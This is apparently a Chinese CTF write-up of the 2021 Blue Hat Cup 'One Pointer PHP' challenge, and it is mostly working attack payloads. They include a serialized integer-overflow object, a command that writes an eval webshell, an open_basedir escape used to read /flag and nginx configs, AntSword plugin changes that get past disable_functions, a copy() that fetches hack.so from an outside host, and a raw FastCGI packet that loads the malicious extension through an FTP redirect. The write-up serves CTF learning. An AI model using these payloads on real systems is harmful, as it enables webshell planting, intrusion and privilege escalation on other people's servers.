[蓝帽杯 2021]One Pointer PHP【溢出+FPM】

整型溢出

利用64位系统的整型最大值溢出,这里令count=9223372036854775806,当再加2时就会提示溢出警告,从而绕过。

<?php

class User{
	public $count=9223372036854775806;
}
echo urlencode(serialize(new User()));
?>
//O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

尝试一下写个php文件,成功,当然也可以不用写…

add_api.php?backdoor=file_put_contents('/var/www/html/1.php','<?php eval($_POST[1]);?>');

接着想要读取目录文件却不成功,提示没有权限,应该是open_basedir限制了目录。

chdir()ini_set()绕过open_basedir

直接配合 chdir()ini_set() 就能不断向上翻,一直翻到根目录下就能有整个目录的权限了,读取一下根目录:

1=mkdir('lethe');chdir('lethe');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

发现有flag文件,尝试file_get_contents()读取,不成功。看师傅们说是权限不够,也就是需要我们提权!要提权就得拿到shell,但目前显然是不行的,因为disabled_function的原因。

1=mkdir('lethe');chdir('lethe');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));
读取nginx配置文件

读取一下配置文件:

1=mkdir('lethe');chdir('lethe');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/etc/nginx/nginx.conf'));

注意到Virtual host config(虚拟主机配置):
在这里插入图片描述
发现一个/etc/nginx/sites-enabled/目录,其中有个default文件,读取一下

1=mkdir('lethe');chdir('lethe');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/etc/nginx/sites-enabled/default'));

在这里插入图片描述

Fastcgi服务端口在9001(虽然一般都是开在9000端口的…),而且phpinfo中可以看到FPM/FaseCGI服务。可以猜测这里就是攻击FPM从而绕过
在这里插入图片描述

一开始想着蚁剑bypass的,但因为蚁剑的路径选择中没有9001端口。无奈只好学习一下师傅们的做法:

方法一

disable_function 中ban了fsockopen函数,但我们用的蚁剑bypass FMP实际上就有用到这个函数,所以不能直接使用绕过。其次这题的FastCGI服务开在9001端口,这就得手动到蚁剑的文件中修改了

虽然禁止了fsockopen这个函数,但还有一个pfsockopen没被ban。这俩函数没啥区别

将下列文件中的fsockopen替换成pfsockopen。

\antData\plugins\as_bypass_php_disable_functions-master\payload.js
\antData\plugins\as_bypass_php_disable_functions-master\core\php_fpm\index.js

接着到antSword-master\antData\plugins\as_bypass_php_disable_functions-master\core\php_fpm\index.js中添加一个127.0.0.1:9001选项
在这里插入图片描述
接着上蚁剑启用绕过disable_function这个插件,然后选择FastCGI这个。地址要选127.0.0.1:9001,然后成功上传一些文件,其中包括.antproxy.php,它的作用是把流量转发到新开启的php进程
在这里插入图片描述
创建一个新的副本,重新编辑一下,要连接到.antproxy.php上
在这里插入图片描述

直接打开新的副本即可绕过了:
在这里插入图片描述

方法二:

第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
[2021 蓝帽杯]one_Pointer_php赛后复盘
不依赖蚁剑的插件,手工搞。
但我在复现的时候反弹shell不成功,如下图,很迷,也不知道是哪的问题
在这里插入图片描述
上传hack.so到/tmp目录下

add_api.php?backdoor=mkdir('css');chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy("http://xx.xx.xx.xx/hack.so","/tmp/hack.so");

开启FTP服务:
在这里插入图片描述

发送数据

http://2974b831-1001-4330-8eb6-e599823cf5a9.node3.buuoj.cn/add_api.php?backdoor=$file = $_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp://root@xx.xx.xx.xx:6666/!123123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%9C%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%16SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fuser.php%0B%09SCRIPT_NAME%2Fuser.php%0B%09REQUEST_URI%2Fuser.php%0F%29PHP_ADMIN_VALUEextension_dir+%3D+%2Ftmp%0Aextension+%3D+hack.so%0A%0F%11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%00%00%01%05%00%01%00%00%00%00

查看监听
在这里插入图片描述

然后就不成功了。我还是爬吧,等有空再细细整理一下大佬们的操作

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值